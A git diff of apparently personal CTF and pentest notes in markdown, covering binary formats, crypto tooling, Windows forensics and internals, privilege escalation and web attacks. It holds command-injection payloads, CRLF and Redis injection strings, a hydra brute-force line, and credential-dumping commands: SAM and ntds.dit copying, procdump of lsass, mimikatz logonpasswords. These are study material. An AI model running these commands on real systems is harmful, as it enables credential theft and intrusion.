- fastcall + + ```c + __attribute__((fastcall)) void func(int a, int b, int c) { + ... + } + ``` + + - thiscall + + > put `this` in `ecx` + > + > used in class member method + + ``` + class human { + protected: + string nation; + public: + virtual string getNation() { + return this->nation; + } + }; + ``` + + ``` + lea edx,[ebp-0x34] + ... + mov ecx,edx + call eax + ... + ``` + +### File Format +- segment register / index in descripter table + +#### ELF + +#### PE +- Alignment + - File + - FileAlignment: 0x200 + - Winchester Disk + - Process + - SectionAlignment: 0x1000 + - Page Model +- [PE Format](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) + + | Layout | | + |:--------|:------------------------------| + | Headers | Dos MZ Header | + | | DOS Stub | + | | PE Header (IMAGE\_NT\_HEADER) | + | | Section Headers | + | Null | | + | .text | | + | Null | | + | .data | | + | Null | | + | .rsrc | | + | Null | | diff --git a/src/docs/category/crypto/index.md b/src/docs/category/crypto/index.md new file mode 100644 index 0000000..a9c6f5c --- /dev/null +++ b/src/docs/category/crypto/index.md @@ -0,0 +1,312 @@ +# Crypto + + +## Tool + +### Decrypt +- pyCryptodome +- Crypto.Util.number + + | Function | Comment | + |:---------|:----------------| + | inverse | modulus inverse | + +- Sage + - [sagemath](https://sagecell.sagemath.org/) + - [CoCalc](https://cocalc.com/) + +### Recover +- unt-wister + +### Brute Force +- Password Cracker + - hashcat + - John the Ripper +- Login Cracker + - hydra + + ``` + $ hydra -l -P /usr/share/wordlists/nmap.lst http-post-form "/login.php:username=^USER^&password=^PASS^&sub=Login:Invalid username or password" + ``` + +- Word List + - wordlists + - seclists + - crunch + +### openssl +- Generate + + > [Generate cert chain](https://blog.davy.tw/posts/use-openssl-to-sign-intermediate-ca/) + > [SAN](https://medium.com/@antelle/how-to-generate-a-self-signed-ssl-certificate-for-an-ip-address-f0dd8dddf754) + > /etc/ssl/openssl.cnf + + - Self-signed Certificate (Root CA) + + ```bash + #CA + openssl genrsa -out ca.key 4096 + openssl req -new -out ca.csr -sha256 \ + -key ca.key -nodes \ + -subj "/C=TW/ST=Taiwan/L=Hsinchu/O=Organization/OU=Organization Unit/CN=Common Name" + + openssl ca -selfsign -keyfile ca.key -in ca.csr -outdir . -out ca.crt \ + -startdate 20211001000000Z -enddate 20311001000000Z -config <(cat <<-EOF + [ ca ] + default_ca = CA_default + + [ CA_default ] + database = ./index.txt + email_in_dn = no + rand_serial = yes + default_md = sha256 + default_days = 730 + policy = policy_any + + [ policy_any ] + countryName = supplied + stateOrProvinceName = optional + organizationName = optional + organizationalUnitName = optional + commonName = supplied + emailAddress = optional + + EOF + ) + + #CA in one command + openssl req -new -sha256 -x509 -days 3650 -out ca.crt \ + -newkey rsa:4096 -nodes -keyout ca.key \ + -subj "/C=TW/ST=Taiwan/L=Hsinchu/O=Organization/OU=Organization Unit/CN=Common Name" \ + -addext "subjectAltName=DNS:example.com" + ``` + + - Sign certificate + + ```bash + #CSR + openssl req -new -out intermediate.csr -sha256 \ + -newkey rsa:4096 -nodes -keyout intermediate.key \ + -subj "/C=TW/ST=Taiwan/L=Hsinchu/O=Organization/OU=Organization Unit/CN=Common Name" \ + -config <(cat <:] + openssl s_client [-showcerts] -connect : + ``` + + - Verify Server + + ```bash + openssl s_server [-debug] \ + -CAfile root.crt \ + -cert_chain <(cat product.crt intermediate.crt) \ + -cert server.crt -key server.key \ + [-accept :] + + openssl s_client [-showcerts] \ + -CAfile root.crt \ + -verify_return_error \ + -connect : + ``` + + - Mutual Auth + + ```bash + #Server Alternative 1 + openssl s_server [-debug] \ + -CAfile root.crt \ + -cert_chain <(cat product.crt intermediate.crt) \ + -cert server.crt -key server.key \ + -verify_return_error -Verify 5 \ + [-accept :] + + #Server Alternative 2 + socat "OPENSSL-LISTEN:8888,cafile=root.crt,certificate=client-chain.crt,key=client.key,reuseaddr,verify" STDOUT + + #Client Alternative 1 + openssl s_client [-showcerts] \ + -CAfile root.crt \ + -cert_chain <(cat product.crt intermediate.crt) \ + -cert client.crt -key client.key \ + -verify_return_error \ + -connect : + + #Client Alternative 2 + curl \ + --cacert root.crt \ + --cert <(cat client.crt product.crt intermediate.crt) \ + --key client.key \ + --resolve :: + https://: + + ``` + +- S/MIME data signing + + ```bash + $ openssl smime -sign -binary -signer cert.pem -inkey key.pem -outform DER -md sha256 -out sigature -in ${filename:?} -nocerts + $ openssl smime -verify -in sig -inform DER -content ${filename:?} -noverify -out /dev/null + ``` + +- MakeCert and New-SelfSignedcertificate + + ```powershell + # MakeCert -n 'CN=code.signing' -ss My -r -pe -sr localmachine -cy end -eku 1.3.6.1.5.5.7.3.3 -len 4096 -b 2020/01/01 -e 2025/01/01 + New-SelfSignedCertificate -CertStoreLocation 'Cert:\CurrentUser\My' -KeyAlgorithm RSA -KeyLength 4096 -Type CodeSigningCert -KeyUsage DigitalSignature -KeyUsageProperty Sign -Subject 'CN=code signing test' + Set-AuthenticodeSignature -FilePath @(Get-ChildItem -Recurse '*.exe','*.dll','*.ps1') -Certificate (Get-ChildItem Cert:\CurrentUser\My -codesigning)[0] -IncludeChain 'NotRoot' -HashAlgorithm SHA256 -TimestampServer 'http://timestamp.globalsign.com/?signature=sha2' + signtool.exe verify /pa + ``` + +- Signed Certificate Timestamp (SCT) + - [Signed Certificate Timestamp (SCT) Validation | Google](https://github.com/google/certificate-transparency/blob/master/docs/SCTValidation.md) + + +## Background + +### Cryptanalysis +- Kerckhoff's Principle +- Classical Cryptanalysis + - Mathmatical Analysis + - Brute-Force Attacks + - Substitution Cipher + + > Caesar Cipher + + - Exhaustive Key Search + - Letter Frequency Analysis +- Implementation Attacks +- Social Engineering + +### Symmetric Cipher +- Stream Cipher + + > encrypt bits individually + > + > usually small and fast + > + > security dependes entirely on key stream (sync, async), which is random and reproducible + + - vulnerable to reused key attack + + ``` + E(A) = A xor C + E(B) = B xor C + E(A) xor E(B) = A xor B + ``` + + - key stream generator + + > the key stream generator works like a Pseudorandom Number Generator (RNG), + > which generate sequences from initial seed (key) value + > + > ![]() + + - Linear Congruential Generator (LCG) + + ![]() + + Assume + + - unknown A, B and S0 as key + - m = 2^32 + - S1, S2, S3 are known + + Solving + + - ![]() + - ![]() + + Answer + + - ![]() + - ![]() + + - MT19937 + + > python's default RNG + + - can be recovered by 32x624 consecutive bits + - `from randcrack import RandCrack` + + - Lineare Feedback Shift Register (LFSR) + + ![]() + + - Characteristic Polynomial + - ![]() + + +- Block Cipher + > - always encrypt a full block (several bits) + > - common for internet applications diff --git a/docs/misc.md b/src/docs/category/misc/index.md similarity index 67% rename from docs/misc.md rename to src/docs/category/misc/index.md index d5139ab..fa33fa1 100644 --- a/docs/misc.md +++ b/src/docs/category/misc/index.md @@ -6,14 +6,14 @@ ### Binary Forensic - binwalk - polyfile - - `polyfile .pdf --html .html` + - `polyfile .pdf --html .html` - [file signature](https://filesignatures.net/) - > `47 49 46 38` GIF8 - > - > `89 50 4e 47` .PNG + > `47 49 46 38` GIF8 + > + > `89 50 4e 47` .PNG - [Stego](https://0xrick.github.io/lists/stego/) - - zsteg - - stegsolve.jar + - zsteg + - stegsolve.jar - `qpdf --qdf --object-streams=disable ` diff --git a/src/docs/category/system/command-injection.md b/src/docs/category/system/command-injection.md new file mode 100644 index 0000000..4fb712f --- /dev/null +++ b/src/docs/category/system/command-injection.md @@ -0,0 +1,29 @@ +# Command Injection +- Basic + - $ ping 127.0.0.1 `; id` + - $ ping 127.0.0.1 `| id` + - $ ping 127.0.0.1 `&& id` + - $ ping '127.0.0.1`'; id #` ' + - $ ping "`$(id)`" + - $ cat mewo.txt `$(id)` + - $ cat mewo.txt `` `id` `` + - Newline (0x0A, \n, %0A) +- Space Bypass + - $ cat``/flag + - $ cat\ [ShellSpeels](https://www.shellspells.net/) + + + +## Tool + +### Vulnerability Assessment +- OpenVAS +- metasploit +- cobaltstrike + +### Malware Scanner +- [Microsoft Safety Scanner](https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download) +- [MSRT (Windows Malicious Software Removal Tool)](https://www.microsoft.com/en-us/download/details.aspx?id=9905) +- [Trend Micro Anti-Threat Toolkit](https://www.trendmicro.com/zh_tw/business/capabilities/solutions-for/ransomware/free-tools.html) +- [VirusTotal](https://www.virustotal.com/gui/) +- [nodistribute](https://nodistribute.com/) + +### System Forensic +> [Windows Forensic Handbook](https://psmths.gitbook.io/windows-forensics) + +- File + - Disk Forensic + - autopsy + - OSForensic / OSFClone + - FTK Imager + - Sleuth Kit + - Search + - `CMD$ forfile` + - `CMD$ dir /s *filename*` + - `SH$ find -name *filename*` + - `SH$ find -perm /4000` + - `SH$ find -mtime +3` + - Directory + - `C:\$Recycle.Bin` +- Registry + - Query + - `PS$ dir "Registry::HKLM\"` + - Essential Registry + + | Path | Description | + |------|-------------| + | `HKLM\System\CurrentControlSet\Control\HiveList` | reg file location | + | `{HKLM\|HKCU}\SOFTWARE\WOW6432Node` | redirected key | + | `{HKLM\|HKCU}\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\{Shell Folders\|User Shell Folders}` | user shell folders (`shell:`) + | `HKCR\` | `{HKLM,HKCU}\Software\Classes` | + +- Autoruns + - Overall + - 🟦 Autoruns (SysinternalsSuite) + - Startup + - 🟦 `RUN$ shell:Startup` + 🟦 `RUN$ shell:Common Startup` + - 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows\CurrentVersion\Run\` + 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows\CurrentVersion\RunOnce\` + 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows\CurrentVersion\RunOnceEx\` + + > Can be triggered by `CMD$ RunOnce.exe /explorer`. + + - 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows NT\CurrentVersion\Winlogon\` + 🟦 `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\` + - 🐧 `/etc/profile` + - Service + - 🟦 `HKLM\SYSTEM\CurrentControlSet\Services\` + 🟦 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\` + - Scheduled Task + - 🟦 `CMD$ taskschd.msc` + 🟦 `$ schtasks /query /FO list /V` + - 🟦 `%SystemRoot%\{System32|SysWOW64}\Tasks\` + 🟦 `%SystemRoot%\Tasks\` + - 🟦 `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks\` + 🟦 `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree\` + - 🐧 `/etc/crontab` + 🐧 `/etc/cron.d/` + + - GPO + +- Process + - Process List + - `$ tasklist` + - `$ wmic process` + - `$ Get-CimInstance -ClassName Win32_Process` + - Advanced Tool + - Process Monitor (SysinternalsSuite) + - Process Explorer (SysinternalsSuite) + - Task Explorer (ExplorerSuite) + - Driver List (ExplorerSuite) + - WinObj (SysinternalsSuite) +- Network + - Sniffer + - Wireshark + - FakeNet-NG +- Memory + - Dumpit + - Volatility Workbench +- Windows Event + - Event Log File + - `%SystemRoot%\System32\winevt\Logs\` + - Event List + + ```powershell + PS# Get-WinEvent -ListProvider * -Erroraction Silentlycontinue | Select ProviderName -ExpandProperty Events | Select * -ExpandProperty LogLink | Format-Table LogName,ProviderName,Version,ID,Description + ``` + + - Event Filter + + ```powershell + Get-EventLog + ``` + + ```powershell + Get-WinEvent -Path C:\Windows\System32\Winevt\Logs\System.evtx + Get-WinEvent -ListLog * + Get-WinEvent -ListLog System | Format-List -Property * + (Get-WinEvent -ListLog *).ProviderNames + (Get-WinEvent -ListProvider *).Events | Format-Table Id, Description + ``` + + - Channel + - Sysmon + + > [SysmonSimulator](https://rootdse.org/posts/understanding-sysmon-events/) + + + +## Background + +### Windows 🟦 +> https://lolbas-project.github.io/ + +- Common Command + + | Run | Pannel | + |-----|--------| + | `control` | `控制台` + | `ncpa.cpl` | `網路連線` | + | `wf.msc` | `防火牆規則` | + | `taskschd.msc` | `工作排程` | + | `services.msc` | `服務` | + | `winver` | + | `msinfo32` | + +- `SET __COMPAT_LAYER=RunAsInvoker` +- Registry data reference to a dll file + + > [Understanding a negative offset of a registry data reference to a dll file](https://stackoverflow.com/questions/7350480/understanding-a-negative-offset-of-a-registry-data-reference-to-a-dll-file) + > - Positive numbers are resource indices. Negative numbers (once you've removed the minus sign) are resource identifiers + > - `EmbedCtxt=@FirewallAPI.dll,-32252` + +#### File System +- NTFS Stream + + > [NTFS File Structure](https://www.researchgate.net/profile/Costas_Katsavounidis2/publication/363773832_Master_File_Table_MFT_on-disk_Structures_NTFS_31_httpsgithubcomkacos2000MFT_Browser/links/632da89086b22d3db4d9afad/Master-File-Table-MFT-on-disk-Structures-NTFS-31-https-githubcom-kacos2000-MFT-Browser.pdf) + > [NTFS Streams](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3) + > [File Streams (Local File Systems)](https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams) + + - `CMD$ fsutil file layout ` + - Alternative Data Stream (ADS) + + ```powershell + echo abc > note.txt:abc.txt + echo C:\Windows\System32\cmd.exe > note.txt:cmd.exe + dir /R + + wmic process call create note.txt:cmd.exe + forfiles /M note.txt /C "note.txt:cmd.exe" + + Get-Content note.txt -stream abc.txt + more < note.txt:abc.txt:$DATA + ``` + +- Additional File Information + - `CMD$ fsutil file queryEA ` + - Extended Attribute + - WSL metadata + - `CMD$ fsutil file queryfileid ` + - `PS$ (Get-Item filename).lastwritetime=(Get-Date "mm/dd/yyyy hh:mm am/pm")` + +- File Naming + + > [Naming Files, Paths, and Namespaces | Microsoft](https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file) + + - Namespace + - Win32 File Namespace + - `\\?\` + + > tells the Windows APIs to disable all string parsing and to send the string that follows it straight to the file system + + - `\\?\GLOBALROOT\Device\ConDrv\Console` + + > `\\?\GLOBALROOT` ensures that the path following it looks in the true root path of the system object manager and not a session-dependent path + + - Win32 Device Namespace + - `\\.\` + + > access the Win32 device namespace instead of the Win32 file namespace + + - NT Namespace + - `\??\` + + > NT Object Manager paths that can look up DOS-style devices like drive letters + > + > 1. process's `DosDevices` table + > 2. `\GLOBAL??` Object Manager directory + > + > A "fake" prefix which refers to per-user Dos devices + > + > ![file path handling, user / kernal mode](https://i.sstatic.net/LOeeO.png) + + - | Path | Content | + |:-------------|:--------------------| + | `\Global??\` | Win32 namespace | + | `\Device\` | Named device object | + + - Reserved Name (`\Global??\`) + + | Filename | Meaning | + |:----|:---------------------------| + | CON | console (input and output) | + | AUX | an auxiliary device. In CP/M 1 and 2, PIP used PUN: (paper tape punch) and RDR: (paper tape reader) instead of AUX: | + | LST | list output device, usually the printer | + | PRN | as LST:, but lines were numbered, tabs expanded and form feeds added every 60 lines | + | NUL | null device, akin to /dev/null | + | EOF | input device that produced end-of-file characters, ASCII 0x1A | + | INP | custom input device, by default the same as EOF: | + | OUT | custom output device, by default the same as NUL: | + +#### User Credential +- Hash Files + - `C:\Windows\System32\config\SAM` (`HKLM\SAM`) + + > HKLM\SAM is encrypted by the boot key, which is stored in HKLM\SYSTEM. + + - Get the hash file + + ``` + reg save HKLM\SAM .\sam.reg + reg save HKLM\SYSTEM .\system.reg + ``` + + ``` + vssadmin create shadow + copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .\sam.reg + copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .\system.reg + ``` + + - `C:\Windows\NTDS\NTDS.dit` + + - Get the hash file + + ``` + ntdsutil snapshot "activate instance ntds" create quit quit + ntdsutil snapshot "mount {ce2f5901-022f-4c21-b266-b4c14db67749}" quit quit + copy C:\$SNAP_202109081356_VOLUMEC$\windows\NTDS\ntds.dit C:\ntds.dit + ntdsutil snapshot "unmount {ce2f5901-022f-4c21-b266-b4c14db67749}" "delete {ce2f5901-022f-4c21-b266-b4c14db67749}" quit quit + ntdsutil snapshot "List All" quit quit + ``` + + ``` + vssadmin create shadow /for=C: + copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit C:\ntds.dit + vssadmin delete shadows /for=C: /quiet + ``` + +- Security Group + - Domain Admins + - Enterprise Admins Group + - Server Operators + - Backup Operators + - Account Operators + - Domain Users + - Domain Computers + - Domain Controllers + +#### Active Directory (AD) +- Command + - `$ Get-ADObject -Filter * -Properties *` + - `$ Get-ADObject -Filter {ObjectGUID -eq } -Properties *` +- Event + - `Security` `5137` `A directory service object was created` + +#### WMI +> **WMI** (Windows Management Instrumentation) is the Microsoft +> implementation of **WBEM** (Web-Based Enterprise Management), a set +> of specifications published by **DMTF** (Distributed Management Task +> Force) that define how resources modeled using **CIM** (Common +> Information Model) can be discovered, accessed and manipulated. + +> [Windows Management Instrumentation | Microsoft](https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page) +> [WMI Internals Part 1 | Jonathan Johnson](https://jsecurity101.medium.com/wmi-internals-part-1-41bb97e7f5eb) + +- Architecture + - WMI Provider + + > A COM object (COM server) that monitor managed objects, which are + > logical or physical enterprise components, such as proccesses, + > OS, or hard disk. + > + > `C:\Windows\System32\wbem\*` + + - DLL + + > COM Object + + - MOF (Managed Object Format) + + > A definition for a WMI class. + + - WMI Infrastructure + + > svchosts.exe [Winmgmt service] (`C:\WINDOWS\system32\wbem\WMIsvc.dll`) + > + > Load appropriate WMI Provider (DLL) into WMI Provider Host + > (WmiPrvSE, `C:\WINDOWS\system32\wbem\wmiprvse.exe`). + + - WMI Core (CIM Object Manager, CIMOM) + + > Act as the intermediary between the provider, management applications, and the WMI repository. + + - WMI Repository + + > Holding static data at `C:\Windows\System32\wbem\Repository\`, such as Classes. + + - WMI Consumer (Management Application) + - wmic + - powershell + - wbemtest + - WMI Explorer +- Command + - List Namespace + + ``` + PS$ Get-CimInstance [-Namespace ] -ClassName __NAMESPACE + + WQL$ SELECT * From __NAMESPACE + ``` + + - List Class + + ``` + PS$ Get-CimClass [-Namespace ] [[-ClassName] ] + ``` + + - List Instance + + ``` + PS$ Get-CimInstance [-Namespace ] -ClassName + + CMD$ wmic [/namespace:] path + + WQL$ Select * From + ``` + + - Invoke CIM Method + + ```powershell + PS$ Get-CimClass -MethodName *Create* + + PS$ (Get-CimInstance __Provider -Filter "Name = '$(([WmiClass] 'Win32_Process').Qualifiers['provider'].Value)'").CLSID + {d63a5850-8f16-11cf-9f47-00aa00bf345c} + + PS$ Get-ItemPropertyValue -Path "Registry::HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InprocServer32\" -Name '(default)'" + C:\WINDOWS\system32\wbem\cimwin32.dll + + PS$ (Get-CimClass -ClassName Win32_Process).CimClassMethods['Create'].Parameters + PS$ type C:\Windows\System32\wbem\cimwin32.mof + + PS$ $Win32_ProcessStartupClass = Get-CimClass -ClassName Win32_ProcessStartup + PS$ $ProcessStartupInformation = New-CimInstance -CimClass $Win32_ProcessStartupClass -Property @{'ShowWindow' = 0} -ClientOnly #0 = SW_HIDDEN + PS$ Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='notepad.exe'; CurrentDirectory='C:\'; ProcessStartupInformation=$ProcessStartupInformation}'} + ``` + +- Important Instance + + | Namespace | ClassName | + |-----------|-----------| + | `root/Microsoft/Windows/Defender` | `MSFT_MpComputerStatus` | + | `root/SecurityCenter2` | `AntivirusProduct` | + | `root/SecurityCenter2` | `FirewallProduct` | + | `root/cimv2` | `Win32_Account` | + | `root/cimv2` | `Win32_LoggedOnUser` | + | `root/cimv2` | `Win32_Process` | + + +#### Remote Command +- psexec + - Make sure `\\\admin$` can be accessed + + ```powershell + reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f + netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes + psexec \\host -u -p -i [SessID] + ``` + +- wmic + + ```powershell + reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f + netsh firewall set service remoteadmin enable + wmic /node: /user: /password: process call create + ``` + +- winrm + +#### minifilter + +#### WFP +- `HKLM\System\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Filter\` +- `HKLM\System\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Provider\` +- `HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\` + +#### AMSI + +#### UWP (app container) + + +### Linux 🐧 +> https://gtfobins.github.io/ + +### macOS 🍎 +- Resource Fork +- Named Fork +- Data Fork diff --git a/docs/technique/persistence.md b/src/docs/category/system/persistence.md similarity index 100% rename from docs/technique/persistence.md rename to src/docs/category/system/persistence.md diff --git a/src/docs/category/system/privilege-escalation.md b/src/docs/category/system/privilege-escalation.md new file mode 100644 index 0000000..0020d60 --- /dev/null +++ b/src/docs/category/system/privilege-escalation.md @@ -0,0 +1,77 @@ +# Privilege Escalation + +## Windows +> [LOLBAS](https://lolbas-project.github.io/) + +### Potato Attacks + +### Print Spoofer +> [PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 | itm4n](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) + +### Pass the Hash + +#### Hash Source + +##### SAM (registry) +> only local account + +- Export + - reg + + ``` + cmd> reg save HKLM\SAM .\sam.reg + cmd> reg save HKLM\SYSTEM .\system.reg + ``` + + - vssadmin + + ``` + cmd> vssadmin create shadow + cmd> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .\sam.reg + cmd> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .\system.reg + ``` + +- Show + + ``` + sh> samdump2 system sam + ``` + +##### LSASS (memory) +> only logon account + +- Prerequisite + + ``` + cmd> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f + ``` + +- Export + + ``` + cmd> procdump.exe -accepteula -ma lsass.exe lsass.dmp + ``` + +- Show + - From dump file + + ``` + mimikatz> sekurlsa::minidump lsass.dmp + mimikatz> sekurlsa::logonPasswords + ``` + + - Live + + ``` + mimikatz> privilege::debug + mimikatz> sekurlsa::logonpasswords + ``` + + +## Linux +> [GTFOBins](https://gtfobins.github.io/) + +### Restricted Shell +> [Escape from Restricted Shells | 0xffsec](https://0xffsec.com/handbook/shells/restricted-shells/) + +- `$ ssh -t localhost "bash --noprofile"` diff --git a/docs/technique/broken-access-control.md b/src/docs/category/web/broken-access-control.md similarity index 100% rename from docs/technique/broken-access-control.md rename to src/docs/category/web/broken-access-control.md diff --git a/src/docs/category/web/cache-poisoning.md b/src/docs/category/web/cache-poisoning.md new file mode 100644 index 0000000..c29d28d --- /dev/null +++ b/src/docs/category/web/cache-poisoning.md @@ -0,0 +1 @@ +# Cache Poisoning diff --git a/src/docs/category/web/crlf-injection.md b/src/docs/category/web/crlf-injection.md new file mode 100644 index 0000000..19c3ff8 --- /dev/null +++ b/src/docs/category/web/crlf-injection.md @@ -0,0 +1,36 @@ +# CRLF Injection +- Inject `\r\n` to headers + + ```txt + request("http://host/ HTTP/1.1\r\nHeader: xxx\r\nX:") + ----------------------------------------------------- + GET / HTTP/1.1\r\n + Header: xxx + X:` HTTP/1.1\r\n + Host: host\r\n + ... + ``` + + ```txt + ?redirect=http://example.com/%0d%0a%0d%0a... + -------------------------------------------- + HTTP/1.1 302 Found + Content-Length: 35\r\n + Content-Type: text/html; charset=UTF-8\r\n + ... + Location: https://example.com\r\n + \r\n + + ... + Server: Apache/2.4.41\r\n + \r\n + Redirecting to / ... + ``` + +- Redis + + ``` + http://127.0.0.1:6379/%0D%0ASET%20key%20"value"%0D%0A + ----------------------------------------------------- + SET key "value"\r\n + ``` diff --git a/src/docs/category/web/csrf.md b/src/docs/category/web/csrf.md new file mode 100644 index 0000000..33ca9b1 --- /dev/null +++ b/src/docs/category/web/csrf.md @@ -0,0 +1,17 @@ +# CSRF +- Cookies Security + - HttpOnly + - Secure + - Domain, Path, SameSite +- HTML Element + - GET: ``, ` + "> + '> + + ``` + +- Case Study + - [XSS in GMail’s AMP4Email via DOM Clobbering](https://research.securitum.com/xss-in-amp4email-dom-clobbering/) diff --git a/src/docs/category/web/http-desync-attack.md b/src/docs/category/web/http-desync-attack.md new file mode 100644 index 0000000..5aee3b2 --- /dev/null +++ b/src/docs/category/web/http-desync-attack.md @@ -0,0 +1 @@ +# HTTP Desync Attack diff --git a/src/docs/category/web/index.md b/src/docs/category/web/index.md new file mode 100644 index 0000000..9e4dbe8 --- /dev/null +++ b/src/docs/category/web/index.md @@ -0,0 +1,375 @@ +# Web +> [WEB CTF CheatSheet](https://github.com/w181496/Web-CTF-Cheatsheet/blob/master/README.md#%E7%A9%BA%E7%99%BD%E7%B9%9E%E9%81%8E) +> [Web Security CheatSheet](https://blog.p6.is/Web-Security-CheatSheet/) +> [Basic Concept of Penetration Testing](https://hackmd.io/@boik/ryf5wZM5Q#/) +> [Awesome Web Security](https://github.com/qazbnm456/awesome-web-security) +> [Basic concept of Penetration Testing](https://hackmd.io/@boik/ryf5wZM5Q?type=slide#/) +> [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html) +> [OWASP WSTG](https://owasp.org/www-project-web-security-testing-guide/stable/) +> [PortSwigger Web Security Academy](https://portswigger.net/web-security) + +## Tool + +### Recon + +#### Target +- [SHODAN](https://www.shodan.io/) + + > Search Engine for the Internet of Everything + +- [Censys](https://search.censys.io/) + + > Censys helps organizations, individuals, and researchers find and monitor + > every server on the Internet to reduce exposure and improve security + +- [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) + +#### Domain +- DNS Enumeration + - [dnsdumpster](https://dnsdumpster.com/) + + > dns recon & research, find & lookup dns records + + - [crt.sh](https://crt.sh/) + + > Enter an Identity (Domain Name, Organization Name, etc) + + - [robtex](https://www.robtex.com/) + + > Subdomains + + - dnsenum + + ```bash + # dnsenum [--noreverse] [--recursion] + dnsenum google.com + ``` + + - gobuster + + ```bash + $ gobuster vhost --append-domain --domain -u http:// -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt + ``` + + - `knockpy.py` + +- Domain Information + - [IANA WHOIS Service](https://www.iana.org/whois) + - [DomainTools](https://whois.domaintools.com/) +- DNS Lookup + - dig + + ```bash + # dig [@] [ | A | MX | NS | TXT | CNAME | ANY | ...] [+